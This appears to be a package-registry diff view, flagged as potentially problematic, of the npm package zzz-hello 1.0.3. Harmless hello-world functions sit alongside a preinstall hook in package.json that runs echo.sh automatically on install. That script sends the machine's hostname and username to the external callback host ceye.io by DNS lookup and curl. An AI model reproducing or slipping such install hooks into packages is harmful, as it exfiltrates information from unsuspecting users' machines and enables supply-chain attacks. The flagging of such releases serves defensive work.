zzz-hello 1.0.3

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of zzz-hello might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/echo.sh +2 -0
  2. package/index.js +17 -0
  3. package/package.json +12 -0
package/echo.sh ADDED
@@ -0,0 +1,2 @@
1
+ host $(hostname).$(whoami).1mp6eg.ceye.io >> host.log
2
+ curl http://1mp6eg.ceye.io?host=$(hostname)\&user=$(whoami) >> curl.log
package/index.js ADDED
@@ -0,0 +1,17 @@
1
+ function helloWorld () {
2
+ console.log('Hello World!');
3
+ }
4
+
5
+ function doSomethingAwesome () {
6
+ console.log('Doing something awesome...');
7
+ }
8
+
9
+ function doSomethingElse () {
10
+ console.log('Now something else...');
11
+ }
12
+
13
+ module.exports = {
14
+ helloWorld: helloWorld,
15
+ doSomethingAwesome: doSomethingAwesome,
16
+ doSomethingElse: doSomethingElse
17
+ }
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "zzz-hello",
3
+ "version": "1.0.3",
4
+ "description": "test",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "chmod +x echo.sh; ./echo.sh",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "f",
11
+ "license": "ISC"
12
+ }